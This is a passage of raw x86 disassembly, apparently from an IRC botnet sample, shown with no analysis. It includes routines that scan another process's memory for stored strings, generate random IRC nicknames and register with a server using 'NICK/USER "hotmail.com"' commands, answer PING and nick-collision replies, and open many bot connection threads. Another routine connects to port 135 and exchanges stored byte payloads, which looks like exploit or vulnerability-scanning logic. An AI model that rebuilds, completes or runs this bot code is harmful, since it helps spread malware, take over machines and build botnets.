eax, esi pop ebx loc_417768: ; CODE XREF: sub_4175C4+24j pop esi leave retn sub_4175C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41776B proc near ; CODE XREF: sub_417269:loc_417361p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 2680883h nop test eax, eax mov [ebp+arg_0], eax jz loc_41785D mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27E0000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417854 mov edi, dword_427160 loc_4177B6: ; CODE XREF: sub_41776B+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27D095Eh test eax, eax jz short loc_417842 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417848 test [ebp+var_13], 1 jnz short loc_417848 push ecx push 8 call edi push eax call near ptr 27D0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27D0BA6h test eax, eax jz short loc_417834 push offset dword_4D1170 push esi call sub_4266CB pop ecx test eax, eax pop ecx jnz short loc_417834 lea eax, [esi+400h] push offset dword_4D1970 push eax call sub_4266CB pop ecx test eax, eax pop ecx jz short loc_417864 loc_417834: ; CODE XREF: sub_41776B+9Fj ; sub_41776B+B0j push esi push 0 call edi push eax nop call near ptr 27C0620h jmp short loc_417848 ; --------------------------------------------------------------------------- loc_417842: ; CODE XREF: sub_41776B+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417848: ; CODE XREF: sub_41776B+71j ; sub_41776B+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4177B6 loc_417854: ; CODE XREF: sub_41776B+3Fj push [ebp+arg_0] call near ptr 2660000h nop loc_41785D: ; CODE XREF: sub_41776B+1Ej xor eax, eax loc_41785F: ; CODE XREF: sub_41776B+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417864: ; CODE XREF: sub_41776B+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D238C, ebx mov dword_4D2390, eax cmp [eax], cl jnz short loc_417886 cmp [eax+1], cl jz short loc_41788E loc_417886: ; CODE XREF: sub_41776B+114j ; sub_41776B+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417886 loc_41788E: ; CODE XREF: sub_41776B+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2660000h push 1 pop eax jmp short loc_41785F sub_41776B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178A1 proc near ; CODE XREF: sub_417269+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D2388 push esi mov esi, dword_427160 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27D0000h nop mov ecx, dword_4D2388 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D2390 push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D2394 push eax call dword_4D2174 push [ebp+var_4] mov edi, offset dword_4D2180 push offset dword_4D1170 push offset dword_4D1970 push [ebp+arg_0] push offset dword_437EEC push 200h push edi call sub_41C100 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27C0620h mov eax, edi pop edi pop esi leave retn sub_4178A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417938 proc near ; CODE XREF: sub_417269:loc_4173A5p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D2388 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 27D08F7h nop push eax call near ptr 27D0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D1970 mov edi, 200h mov esi, offset dword_4D0F70 loc_41797E: ; CODE XREF: sub_417938+FAj mov eax, dword_4D2388 add eax, eax push eax push dword_4D2390 push [ebp+var_14] call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D2174 mov eax, dword_4D2388 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4179F3 loc_4179BB: ; CODE XREF: sub_417938+B3j cmp [ebp+var_8], 0 jz short loc_417A10 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4179DF cmp byte ptr [ecx+1], 0 jnz short loc_4179DF cmp dl, 20h jnb short loc_4179D9 and [ebp+var_8], 0 loc_4179D9: ; CODE XREF: sub_417938+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4179E3 loc_4179DF: ; CODE XREF: sub_417938+90j ; sub_417938+96j and [ebp+var_8], 0 loc_4179E3: ; CODE XREF: sub_417938+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4179BB cmp [ebp+var_8], 0 jz short loc_417A10 loc_4179F3: ; CODE XREF: sub_417938+81j push [ebp+var_14] push offset dword_4D1170 push ebx push [ebp+arg_0] push offset dword_437EEC push edi push esi call sub_41C100 add esp, 1Ch jmp short loc_417A28 ; --------------------------------------------------------------------------- loc_417A10: ; CODE XREF: sub_417938+87j ; sub_417938+B9j push offset dword_4D1170 push ebx push [ebp+arg_0] push offset dword_437F3C push edi push esi call sub_41C100 add esp, 18h loc_417A28: ; CODE XREF: sub_417938+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41797E push [ebp+var_14] push 0 nop call near ptr 27D08F7h push eax nop call near ptr 27C0620h mov eax, esi pop edi pop esi pop ebx leave retn sub_417938 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A51 proc near ; CODE XREF: sub_417C15+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4C9384 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417ACD push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4C9344 cmp eax, esi jnz short loc_417AB2 push [ebp+arg_0] call dword_4C9388 test eax, eax jz short loc_417ACD mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417AB2: ; CODE XREF: sub_417A51+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4C92AC cmp eax, esi jnz short loc_417AD1 push edi call dword_4C939C loc_417ACD: ; CODE XREF: sub_417A51+1Bj ; sub_417A51+58j mov eax, esi jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417AD1: ; CODE XREF: sub_417A51+73j mov eax, edi loc_417AD3: ; CODE XREF: sub_417A51+7Ej pop edi pop esi leave retn sub_417A51 endp ; =============== S U B R O U T I N E ======================================= sub_417AD7 proc near ; CODE XREF: sub_401AC7+3275p ; sub_401AC7+32DCp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C630 pop ecx mov esi, offset dword_4D239C pop ecx loc_417AEF: ; CODE XREF: sub_417AD7+42j cmp dword ptr [esi-4], 1 jnz short loc_417B0D cmp dword ptr [esi], 0 jbe short loc_417B0D push 0 push edi call sub_41B960 pop ecx push eax push edi push dword ptr [esi] call dword_4C9354 loc_417B0D: ; CODE XREF: sub_417AD7+1Cj ; sub_417AD7+21j add esi, 210h cmp esi, offset dword_4D8ABC jl short loc_417AEF pop edi pop esi retn sub_417AD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B1E proc near ; CODE XREF: sub_417C15+152p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDCC ; " " push edi push esi push [ebp+arg_0] call sub_41C864 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B43: ; CODE XREF: sub_417B1E+35j push esi push 0 call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B43 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417B6B cmp esi, edi jnz short loc_417B6B push 1 pop eax jmp loc_417C10 ; --------------------------------------------------------------------------- loc_417B6B: ; CODE XREF: sub_417B1E+3Fj ; sub_417B1E+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C7E0 pop ecx pop ecx test eax, eax push esi jnz short loc_417B95 lea eax, [ebp+var_220] push offset dword_438B54 push eax call sub_41C006 add esp, 0Ch jmp short loc_417BEF ; --------------------------------------------------------------------------- loc_417B95: ; CODE XREF: sub_417B1E+5Fj push offset a433 ; "433" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_417BB6 push esi push offset dword_438B50 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_417C0E loc_417BB6: ; CODE XREF: sub_417B1E+85j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BD10 lea eax, [ebp+var_420] push eax call sub_417E35 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_438B44 push eax call sub_41C006 add esp, 1Ch loc_417BEF: ; CODE XREF: sub_417B1E+75j lea eax, [ebp+var_220] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4C9354 loc_417C0E: ; CODE XREF: sub_417B1E+96j xor eax, eax loc_417C10: ; CODE XREF: sub_417B1E+48j pop edi pop esi pop ebx leave retn sub_417B1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C15 proc near ; DATA XREF: sub_417DB7+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C2A0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D23A4[esi] mov dword_4D2398[esi], edi push dword_4D25A4[esi] push eax call sub_417A51 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D239C[esi], eax jb loc_417D97 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BD10 lea eax, [ebp+var_2008] push eax call sub_417E35 lea eax, [ebp+var_4008] push eax call sub_417E35 lea eax, [ebp+var_3008] push eax call sub_417E35 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D239C[esi] call dword_4C9354 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD10 add esp, 0Ch loc_417CEE: ; CODE XREF: sub_417C15+10Ej ; sub_417C15+17Dj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D239C[esi] call dword_4C931C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417D97 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417CEE loc_417D25: ; CODE XREF: sub_417C15+17Bj mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D4C cmp al, 0Ah jz short loc_417D4C cmp [ebp+arg_0], 0FA0h jz short loc_417D4C mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417D86 ; --------------------------------------------------------------------------- loc_417D4C: ; CODE XREF: sub_417C15+119j ; sub_417C15+11Dj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417D86 push dword_4D239C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B1E pop ecx test eax, eax pop ecx ja short loc_417D97 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+arg_0], ebx loc_417D86: ; CODE XREF: sub_417C15+135j ; sub_417C15+13Cj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D25 jmp loc_417CEE ; --------------------------------------------------------------------------- loc_417D97: ; CODE XREF: sub_417C15+40j ; sub_417C15+104j ... mov dword_4D2398[esi], ebx mov esi, dword_4D239C[esi] cmp esi, ebx jbe short loc_417DAE push esi call dword_4C939C loc_417DAE: ; CODE XREF: sub_417C15+190j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DB7 proc near ; CODE XREF: sub_401AC7+31CAp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E30 loc_417DC9: ; CODE XREF: sub_417DB7+77j xor edi, edi mov eax, offset dword_4D2398 loc_417DD0: ; CODE XREF: sub_417DB7+28j cmp [eax], ebx jz short loc_417DE1 add eax, 210h inc edi cmp eax, offset dword_4D8AB8 jl short loc_417DD0 loc_417DE1: ; CODE XREF: sub_417DB7+1Bj cmp edi, 31h jz short loc_417E30 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D23A4[esi] push eax call sub_41C620 mov eax, [ebp+arg_4] pop ecx mov dword_4D25A4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D2398[esi], 1 push eax push ebx push edi push offset sub_417C15 push ebx push ebx nop call near ptr 26805C5h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417DC9 loc_417E30: ; CODE XREF: sub_417DB7+10j ; sub_417DB7+2Dj pop edi pop esi pop ebx leave retn sub_417DB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E35 proc near ; CODE XREF: sub_401AC7+3713p ; sub_401AC7+375Ap ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BD10 add esp, 0Ch call sub_41C062 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F0 call sub_41CF04 cmp eax, 1 jnz short loc_417E7F call sub_41C062 call sub_41C062 push 66h cdq pop ecx idiv ecx push dword ptr loc_43828B+5[edx*4] jmp short loc_417E98 ; --------------------------------------------------------------------------- loc_417E7F: ; CODE XREF: sub_417E35+2Fj call sub_41C062 call sub_41C062 cdq mov ecx, 0C0h idiv ecx push off_437F90[edx*4] loc_417E98: ; CODE XREF: sub_417E35+48j lea eax, [ebp+var_2C] push eax call sub_41C620 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B960 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 call sub_41CF04 mov ebx, eax call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41CF04 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F0B cmp esi, 3 jnz short loc_417F02 cmp ebx, 1 jz short loc_417F0B loc_417F02: ; CODE XREF: sub_417E35+C6j cmp eax, 1 jnz loc_417FC5 loc_417F0B: ; CODE XREF: sub_417E35+C1j ; sub_417E35+CBj call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41CF04 push dword ptr loc_43828B+5[eax*4] lea eax, [ebp+var_40] push eax call sub_41C620 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C720 add esp, 10h test eax, eax jnz short loc_417FB2 movsx eax, [ebp+var_40] push eax push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz short loc_417FB2 call sub_41C062 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41CF04 cmp eax, 1 jnz short loc_417FB2 push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417FB2: ; CODE XREF: sub_417E35+111j ; sub_417E35+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C950 add esp, 0Ch loc_417FC5: ; CODE XREF: sub_417E35+D0j lea eax, [ebp+var_2C] push eax call sub_41B960 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DDE8 pop ecx test eax, eax pop ecx jnz loc_41822D and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz loc_418124 call sub_41C062 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41CF04 cmp esi, 3 jz short loc_418033 cmp eax, 1 jnz loc_418124 loc_418033: ; CODE XREF: sub_417E35+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_418075 push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_418091 ; --------------------------------------------------------------------------- loc_418075: ; CODE XREF: sub_417E35+207j call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h sub cl, al mov [ebx], cl loc_418091: ; CODE XREF: sub_417E35+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41CF04 cmp esi, 3 jz short loc_4180BA cmp eax, ebx jnz short loc_418124 loc_4180BA: ; CODE XREF: sub_417E35+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4180FF push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41811D ; --------------------------------------------------------------------------- loc_4180FF: ; CODE XREF: sub_417E35+28Fj call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41811D: ; CODE XREF: sub_417E35+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418124: ; CODE XREF: sub_417E35+1C9j ; sub_417E35+1F8j ... cmp esi, 6 jge loc_4181AD cmp esi, 5 jge short loc_418145 call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 jmp short loc_418163 ; --------------------------------------------------------------------------- loc_418145: ; CODE XREF: sub_417E35+2FBj call sub_41C062 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 loc_418163: ; CODE XREF: sub_417E35+30Ej call sub_41CF04 test eax, eax jnz short loc_418186 call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CF04 mov cl, 30h jmp short loc_4181A3 ; --------------------------------------------------------------------------- loc_418186: ; CODE XREF: sub_417E35+335j cmp eax, 1 jnz short loc_4181AD call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h loc_4181A3: ; CODE XREF: sub_417E35+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181AD: ; CODE XREF: sub_417E35+2F2j ; sub_417E35+354j cmp [ebp+var_C], 2 jge short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41CF04 cmp eax, 1 jnz short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CF04 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41CF04 cmp eax, 1 jnz short loc_41822D cmp [ebp+var_C], eax jge short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41CF04 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41822D: ; CODE XREF: sub_417E35+1B1j ; sub_417E35+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BD70 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418246 proc near ; CODE XREF: sub_41827E+125p ; sub_41827E+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_418274 loc_418257: ; CODE XREF: sub_418246+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DE40 add esp, 0Ch test eax, eax jz short loc_41827A inc esi cmp esi, edi jl short loc_418257 loc_418274: ; CODE XREF: sub_418246+Fj xor al, al loc_418276: ; CODE XREF: sub_418246+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41827A: ; CODE XREF: sub_418246+27j mov al, 1 jmp short loc_418276 sub_418246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41827E proc near ; CODE XREF: ___:0040DFC8p ; ___:0040E0B1p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C2A0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4182BF dec eax jz short loc_41829D dec eax loc_418297: ; CODE XREF: sub_41827E+57j xor eax, eax loc_418299: ; CODE XREF: sub_41827E+3Fj ; sub_41827E+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_41829D: ; CODE XREF: sub_41827E+16j push 3 push 1388h push [ebp+arg_0] call dword_4C9344 push eax call sub_40C336 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418299 ; --------------------------------------------------------------------------- loc_4182BF: ; CODE XREF: sub_41827E+13j push 6 push 1 push 2 call dword_4C9384 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_418297 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8E4 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4C92AC cmp eax, edi jz loc_4183DB push ebx push 48h push offset dword_438B9C push esi call dword_4C9354 cmp eax, edi jz loc_4183DB mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4C931C cmp eax, edi jz loc_4183DB cmp [ebp+var_200E], 0Ch jnz short loc_4183DB push ebx push 18h push offset dword_438BE8 push [ebp+arg_4] call dword_4C9354 cmp eax, edi jz short loc_4183DB push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4C931C mov esi, eax cmp esi, edi jz short loc_4183DB cmp [ebp+var_200E], 2 jnz short loc_4183DB push 10h push offset loc_438C04 lea eax, [ebp+var_2010] push esi push eax call sub_418246 add esp, 10h test al, al jz short loc_4183BB cmp esi, 12Ch setnl bl inc ebx jmp short loc_4183DB ; --------------------------------------------------------------------------- loc_4183BB: ; CODE XREF: sub_41827E+12Fj push 10h push offset dword_438C18 lea eax, [ebp+var_2010] push esi push eax call sub_418246 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4183DB: ; CODE XREF: sub_41827E+9Bj ; sub_41827E+B2j ... push [ebp+arg_4] call dword_4C939C mov eax, ebx pop ebx jmp loc_418299 sub_41827E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183EC proc near ; CODE XREF: sub_401AC7+BC3p ; sub_401AC7+C00p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_418477 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_418477 cmp [ebp+arg_8], esi jz short loc_418477 cmp byte ptr [eax], 0 jz short loc_418477 push ebx push edi call sub_426340 mov ebx, eax pop ecx test ebx, ebx jz short loc_418472 push [ebp+arg_4] push edi call sub_41C080 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41846B sub eax, edi push eax push edi push ebx call sub_41BD70 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B960 push eax push [ebp+arg_8] push ebx call sub_41C950 push [ebp+arg_4] call sub_41B960 add eax, esi push eax push ebx call sub_41C630 push ebx push edi call sub_41C620 add esp, 30h mov esi, edi loc_41846B: ; CODE XREF: sub_4183EC+3Cj push ebx call sub_41BA31 pop ecx loc_418472: ; CODE XREF: sub_4183EC+2Bj mov eax, esi pop ebx jmp short loc_418479 ; --------------------------------------------------------------------------- loc_418477: ; CODE XREF: sub_4183EC+Cj ; sub_4183EC+13j ... xor eax, eax loc_418479: ; CODE XREF: sub_4183EC+89j pop edi pop esi pop ebp retn sub_4183EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41847D proc near ; CODE XREF: sub_40194F+E9p ; ___:00410CB2p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BD10 mov esi, [ebp+arg_0] push esi call sub_41B960 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_4184B3 or eax, 0FFFFFFFFh jmp short loc_418526 ; --------------------------------------------------------------------------- 